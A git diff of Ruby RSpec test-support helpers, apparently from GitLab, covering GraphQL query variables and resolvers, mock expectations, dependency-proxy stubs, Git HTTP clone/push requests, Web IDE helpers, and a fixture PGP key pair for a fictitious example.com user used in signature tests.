+ # first = var('Int')
+ # after = var('String')
+ #
+ # query = with_signature(
+ # [first, after],
+ # query_graphql_path([
+ # [:project, { full_path: project.full_path }],
+ # [:issues, { after: after, first: first }]
+ # :nodes
+ # ], all_graphql_fields_for('Issue'))
+ # )
+ #
+ # post_graphql(query, variables: [first.with(2), after.with(some_cursor)])
+ #
+ class Var
+ attr_reader :name, :type
+ attr_accessor :value
+
+ def initialize(name, type)
+ @name = name
+ @type = type
+ end
+
+ def sig
+ "#{to_graphql_value}: #{type}"
+ end
+
+ def to_graphql_value
+ "$#{name}"
+ end
+
+ # We return a new object so that running the same query twice with
+ # different values does not risk re-using the value
+ #
+ # e.g.
+ #
+ # x = var('Int')
+ # expect { post_graphql(query, variables: x) }
+ # .to issue_same_number_of_queries_as { post_graphql(query, variables: x.with(1)) }
+ #
+ # Here we post the `x` variable once with the value set to 1, and once with
+ # the value set to `nil`.
+ def with(value)
+ copy = Var.new(name, type)
+ copy.value = value
+ copy
+ end
+
+ def to_h
+ { name => value }
+ end
+ end
+end
diff --git a/spec/support/helpers/after_next_helpers.rb b/spec/support/helpers/after_next_helpers.rb
new file mode 100644
index 00000000000..0a7844fdd8f
--- /dev/null
+++ b/spec/support/helpers/after_next_helpers.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require_relative './next_instance_of'
+
+module AfterNextHelpers
+ class DeferredExpectation
+ include ::NextInstanceOf
+ include ::RSpec::Matchers
+ include ::RSpec::Mocks::ExampleMethods
+
+ def initialize(klass, args, level:)
+ @klass = klass
+ @args = args
+ @level = level.to_sym
+ end
+
+ def to(condition)
+ run_condition(condition, asserted: true)
+ end
+
+ def not_to(condition)
+ run_condition(condition, asserted: false)
+ end
+
+ private
+
+ attr_reader :klass, :args, :level
+
+ def run_condition(condition, asserted:)
+ msg = asserted ? :to : :not_to
+ case level
+ when :expect
+ if asserted
+ expect_next_instance_of(klass, *args) { |instance| expect(instance).send(msg, condition) }
+ else
+ allow_next_instance_of(klass, *args) { |instance| expect(instance).send(msg, condition) }
+ end
+ when :allow
+ allow_next_instance_of(klass, *args) { |instance| allow(instance).send(msg, condition) }
+ else
+ raise "Unknown level: #{level}"
+ end
+ end
+ end
+
+ def allow_next(klass, *args)
+ DeferredExpectation.new(klass, args, level: :allow)
+ end
+
+ def expect_next(klass, *args)
+ DeferredExpectation.new(klass, args, level: :expect)
+ end
+end
diff --git a/spec/support/helpers/database_helpers.rb b/spec/support/helpers/database_helpers.rb
new file mode 100644
index 00000000000..e9f0a74a8d1
--- /dev/null
+++ b/spec/support/helpers/database_helpers.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module DatabaseHelpers
+ # In order to directly work with views using factories,
+ # we can swapout the view for a table of identical structure.
+ def swapout_view_for_table(view)
+ ActiveRecord::Base.connection.execute(<<~SQL)
+ CREATE TABLE #{view}_copy (LIKE #{view});
+ DROP VIEW #{view};
+ ALTER TABLE #{view}_copy RENAME TO #{view};
+ SQL
+ end
+end
diff --git a/spec/support/helpers/dependency_proxy_helpers.rb b/spec/support/helpers/dependency_proxy_helpers.rb
index 545b9d1f4d0..ebb849628bf 100644
--- a/spec/support/helpers/dependency_proxy_helpers.rb
+++ b/spec/support/helpers/dependency_proxy_helpers.rb
@@ -11,11 +11,18 @@ module DependencyProxyHelpers
.to_return(status: status, body: body || auth_body)
end
- def stub_manifest_download(image, tag, status = 200, body = nil)
+ def stub_manifest_download(image, tag, status: 200, body: nil, headers: {})
manifest_url = registry.manifest_url(image, tag)
stub_full_request(manifest_url)
- .to_return(status: status, body: body || manifest)
+ .to_return(status: status, body: body || manifest, headers: headers)
+ end
+
+ def stub_manifest_head(image, tag, status: 200, body: nil, digest: '123456')
+ manifest_url = registry.manifest_url(image, tag)
+
+ stub_full_request(manifest_url, method: :head)
+ .to_return(status: status, body: body, headers: { 'docker-content-digest' => digest } )
end
def stub_blob_download(image, blob_sha, status = 200, body = '123456')
@@ -25,6 +32,13 @@ module DependencyProxyHelpers
.to_return(status: status, body: body)
end
+ def build_jwt(user = nil, expire_time: nil)
+ JSONWebToken::HMACToken.new(::Auth::DependencyProxyAuthenticationService.secret).tap do |jwt|
+ jwt['user_id'] = user.id if user
+ jwt.expire_time = expire_time || jwt.issued_at + 1.minute
+ end
+ end
+
private
def registry
diff --git a/spec/support/helpers/features/merge_request_helpers.rb b/spec/support/helpers/features/merge_request_helpers.rb
new file mode 100644
index 00000000000..53896e1fe12
--- /dev/null
+++ b/spec/support/helpers/features/merge_request_helpers.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Spec
+ module Support
+ module Helpers
+ module Features
+ module MergeRequestHelpers
+ def preload_view_requirements(merge_request, note)
+ # This will load the status fields of the author of the note and merge request
+ # to avoid queries when rendering the view being tested.
+ #
+ merge_request.author.status
+ note.author.status
+ end
+
+ def serialize_issuable_sidebar(user, project, merge_request)
+ MergeRequestSerializer
+ .new(current_user: user, project: project)
+ .represent(merge_request, serializer: 'sidebar')
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/helpers/features/web_ide_spec_helpers.rb b/spec/support/helpers/features/web_ide_spec_helpers.rb
index 12d3cecd052..358bfacce05 100644
--- a/spec/support/helpers/features/web_ide_spec_helpers.rb
+++ b/spec/support/helpers/features/web_ide_spec_helpers.rb
@@ -22,8 +22,6 @@ module WebIdeSpecHelpers
click_link('Web IDE')
wait_for_requests
-
- save_monaco_editor_reference
end
def ide_tree_body
@@ -65,17 +63,6 @@ module WebIdeSpecHelpers
ide_set_editor_value(content)
end
- def ide_rename_file(path, new_path)
- container = ide_traverse_to_file(path)
-
- click_file_action(container, 'Rename/Move')
-
- within '#ide-new-entry' do
- find('input').fill_in(with: new_path)
- click_button('Rename file')
- end
- end
-
# Deletes a file by traversing to `path`
# then clicking the 'Delete' action.
#
@@ -103,20 +90,6 @@ module WebIdeSpecHelpers
container
end
- def ide_close_file(name)
- within page.find('.multi-file-tabs') do
- click_button("Close #{name}")
- end
- end
-
- def ide_open_file(path)
- row = ide_traverse_to_file(path)
-
- ide_open_file_row(row)
-
- wait_for_requests
- end
-
def ide_open_file_row(row)
return if ide_folder_row_open?(row)
@@ -130,10 +103,6 @@ module WebIdeSpecHelpers
execute_script("monaco.editor.getModel('#{uri}').setValue('#{escape_javascript(value)}')")
end
- def ide_set_editor_position(line, col)
- execute_script("TEST_EDITOR.setPosition(#{{ lineNumber: line, column: col }.to_json})")
- end
-
def ide_editor_value
editor = find('.monaco-editor')
uri = editor['data-uri']
@@ -180,8 +149,4 @@ module WebIdeSpecHelpers
wait_for_requests
end
end
-
- def save_monaco_editor_reference
- evaluate_script("monaco.editor.onDidCreateEditor(editor => { window.TEST_EDITOR = editor; })")
- end
end
diff --git a/spec/support/helpers/file_read_helpers.rb b/spec/support/helpers/file_read_helpers.rb
new file mode 100644
index 00000000000..c30a9e6466f
--- /dev/null
+++ b/spec/support/helpers/file_read_helpers.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module FileReadHelpers
+ def stub_file_read(file, content: nil, error: nil)
+ allow_original_file_read
+
+ expectation = allow(File).to receive(:read).with(file)
+
+ if error
+ expectation.and_raise(error)
+ elsif content
+ expectation.and_return(content)
+ else
+ expectation
+ end
+ end
+
+ def expect_file_read(file, content: nil, error: nil)
+ allow_original_file_read
+
+ expectation = expect(File).to receive(:read).with(file)
+
+ if error
+ expectation.and_raise(error)
+ elsif content
+ expectation.and_return(content)
+ else
+ expectation
+ end
+ end
+
+ def expect_file_not_to_read(file)
+ allow_original_file_read
+
+ expect(File).not_to receive(:read).with(file)
+ end
+
+ private
+
+ def allow_original_file_read
+ # Don't set this mock twice, otherwise subsequent calls will clobber
+ # previous mocks
+ return if @allow_original_file_read
+
+ @allow_original_file_read = true
+ allow(File).to receive(:read).and_call_original
+ end
+end
diff --git a/spec/support/helpers/filtered_search_helpers.rb b/spec/support/helpers/filtered_search_helpers.rb
index d203ff60cc9..10068b9c508 100644
--- a/spec/support/helpers/filtered_search_helpers.rb
+++ b/spec/support/helpers/filtered_search_helpers.rb
@@ -113,6 +113,10 @@ module FilteredSearchHelpers
create_token('Assignee', assignee_name)
end
+ def reviewer_token(reviewer_name = nil)
+ create_token('Reviewer', reviewer_name)
+ end
+
def milestone_token(milestone_name = nil, has_symbol = true, operator = '=')
symbol = has_symbol ? '%' : nil
create_token('Milestone', milestone_name, symbol, operator)
diff --git a/spec/support/helpers/git_http_helpers.rb b/spec/support/helpers/git_http_helpers.rb
index c9c1c4dcfc9..c9b4e06f067 100644
--- a/spec/support/helpers/git_http_helpers.rb
+++ b/spec/support/helpers/git_http_helpers.rb
@@ -5,45 +5,45 @@ require_relative 'workhorse_helpers'
module GitHttpHelpers
include WorkhorseHelpers
- def clone_get(project, **options)
- get "/#{project}/info/refs", params: { service: 'git-upload-pack' }, headers: auth_env(*options.values_at(:user, :password, :spnego_request_token))
+ def clone_get(repository_path, **options)
+ get "/#{repository_path}/info/refs", params: { service: 'git-upload-pack' }, headers: auth_env(*options.values_at(:user, :password, :spnego_request_token))
end
- def clone_post(project, **options)
- post "/#{project}/git-upload-pack", headers: auth_env(*options.values_at(:user, :password, :spnego_request_token))
+ def clone_post(repository_path, **options)
+ post "/#{repository_path}/git-upload-pack", headers: auth_env(*options.values_at(:user, :password, :spnego_request_token))
end
- def push_get(project, **options)
- get "/#{project}/info/refs", params: { service: 'git-receive-pack' }, headers: auth_env(*options.values_at(:user, :password, :spnego_request_token))
+ def push_get(repository_path, **options)
+ get "/#{repository_path}/info/refs", params: { service: 'git-receive-pack' }, headers: auth_env(*options.values_at(:user, :password, :spnego_request_token))
end
- def push_post(project, **options)
- post "/#{project}/git-receive-pack", headers: auth_env(*options.values_at(:user, :password, :spnego_request_token))
+ def push_post(repository_path, **options)
+ post "/#{repository_path}/git-receive-pack", headers: auth_env(*options.values_at(:user, :password, :spnego_request_token))
end
- def download(project, user: nil, password: nil, spnego_request_token: nil)
+ def download(repository_path, user: nil, password: nil, spnego_request_token: nil)
args = { user: user, password: password, spnego_request_token: spnego_request_token }
- clone_get(project, **args)
+ clone_get(repository_path, **args)
yield response
- clone_post(project, **args)
+ clone_post(repository_path, **args)
yield response
end
- def upload(project, user: nil, password: nil, spnego_request_token: nil)
+ def upload(repository_path, user: nil, password: nil, spnego_request_token: nil)
args = { user: user, password: password, spnego_request_token: spnego_request_token }
- push_get(project, **args)
+ push_get(repository_path, **args)
yield response
- push_post(project, **args)
+ push_post(repository_path, **args)
yield response
end
- def download_or_upload(project, **args, &block)
- download(project, **args, &block)
- upload(project, **args, &block)
+ def download_or_upload(repository_path, **args, &block)
+ download(repository_path, **args, &block)
+ upload(repository_path, **args, &block)
end
def auth_env(user, password, spnego_request_token)
diff --git a/spec/support/helpers/gitlab_verify_helpers.rb b/spec/support/helpers/gitlab_verify_helpers.rb
index 9901ce374ed..2a6ba8aaff4 100644
--- a/spec/support/helpers/gitlab_verify_helpers.rb
+++ b/spec/support/helpers/gitlab_verify_helpers.rb
@@ -2,7 +2,7 @@
module GitlabVerifyHelpers
def collect_ranges(args = {})
- verifier = described_class.new(args.merge(batch_size: 1))
+ verifier = described_class.new(**args.merge(batch_size: 1))
collect_results(verifier).map { |range, _| range }
end
diff --git a/spec/support/helpers/gpg_helpers.rb b/spec/support/helpers/gpg_helpers.rb
index f4df1cf601c..389e5818dbe 100644
--- a/spec/support/helpers/gpg_helpers.rb
+++ b/spec/support/helpers/gpg_helpers.rb
@@ -144,6 +144,145 @@ module GpgHelpers
'5F7EA3981A5845B141ABD522CCFBE19F00AC8B1D'
end
+ def secret_key2
+ <<~KEY.strip
+ -----BEGIN PGP PRIVATE KEY BLOCK-----
+
+ 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
+ 4f6xMfFu2A==
+ =3YL6
+ -----END PGP PRIVATE KEY BLOCK-----
+ KEY
+ end
+
+ def public_key2
+ <<~KEY.strip
+ -----BEGIN PGP PUBLIC KEY BLOCK-----
+
+ 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
+ =RAwd
+ -----END PGP PUBLIC KEY BLOCK-----
+ KEY
+ end
+
+ def fingerprint2
+ 'C447A6F6BFD9CEF8FB371785571625A930241179'
+ end
+
def names
['Nannie Bernhard']
end
diff --git a/spec/support/helpers/graphql_helpers.rb b/spec/support/helpers/graphql_helpers.rb
index a1b4e6eee92..b20801bd3c4 100644
--- a/spec/support/helpers/graphql_helpers.rb
+++ b/spec/support/helpers/graphql_helpers.rb
@@ -4,6 +4,11 @@ module GraphqlHelpers
MutationDefinition = Struct.new(:query, :variables)
NoData = Class.new(StandardError)
+ UnauthorizedObject = Class.new(StandardError)
+
+ def graphql_args(**values)
+ ::Graphql::Arguments.new(values)
+ end
# makes an underscored string look like a fieldname
# "merge_request" => "mergeRequest"
@@ -17,7 +22,10 @@ module GraphqlHelpers
# ready, then the early return is returned instead.
#
# Then the resolve method is called.
- def resolve(resolver_class, args: {}, **resolver_args)
+ def resolve(resolver_class, args: {}, lookahead: :not_given, parent: :not_given, **resolver_args)
+ args = aliased_args(resolver_class, args)
+ args[:parent] = parent unless parent == :not_given
+ args[:lookahead] = lookahead unless lookahead == :not_given
resolver = resolver_instance(resolver_class, **resolver_args)
ready, early_return = sync_all { resolver.ready?(**args) }
@@ -26,6 +34,16 @@ module GraphqlHelpers
resolver.resolve(**args)
end
+ # TODO: Remove this method entirely when GraphqlHelpers uses real resolve_field
+ # see: https://gitlab.com/gitlab-org/gitlab/-/issues/287791
+ def aliased_args(resolver, args)
+ definitions = resolver.arguments
+
+ args.transform_keys do |k|
+ definitions[GraphqlHelpers.fieldnamerize(k)]&.keyword || k
+ end
+ end
+
def resolver_instance(resolver_class, obj: nil, ctx: {}, field: nil, schema: GitlabSchema)
if ctx.is_a?(Hash)
q = double('Query', schema: schema)
@@ -111,24 +129,33 @@ module GraphqlHelpers
def variables_for_mutation(name, input)
graphql_input = prepare_input_for_mutation(input)
- result = { input_variable_name_for_mutation(name) => graphql_input }
+ { input_variable_name_for_mutation(name) => graphql_input }
+ end
- # Avoid trying to serialize multipart data into JSON
- if graphql_input.values.none? { |value| io_value?(value) }
- result.to_json
- else
- result
- end
+ def serialize_variables(variables)
+ return unless variables
+ return variables if variables.is_a?(String)
+
+ ::Gitlab::Utils::MergeHash.merge(Array.wrap(variables).map(&:to_h)).to_json
end
- def resolve_field(name, object, args = {})
- context = double("Context",
- schema: GitlabSchema,
- query: GraphQL::Query.new(GitlabSchema),
- parent: nil)
- field = described_class.fields[name]
+ def resolve_field(name, object, args = {}, current_user: nil)
+ q = GraphQL::Query.new(GitlabSchema)
+ context = GraphQL::Query::Context.new(query: q, object: object, values: { current_user: current_user })
+ allow(context).to receive(:parent).and_return(nil)
+ field = described_class.fields.fetch(GraphqlHelpers.fieldnamerize(name))
instance = described_class.authorized_new(object, context)
- field.resolve_field(instance, {}, context)
+ raise UnauthorizedObject unless instance
+
+ field.resolve_field(instance, args, context)
+ end
+
+ def simple_resolver(resolved_value = 'Resolved value')
+ Class.new(Resolvers::BaseResolver) do
+ define_method :resolve do |**_args|
+ resolved_value
+ end
+ end
end
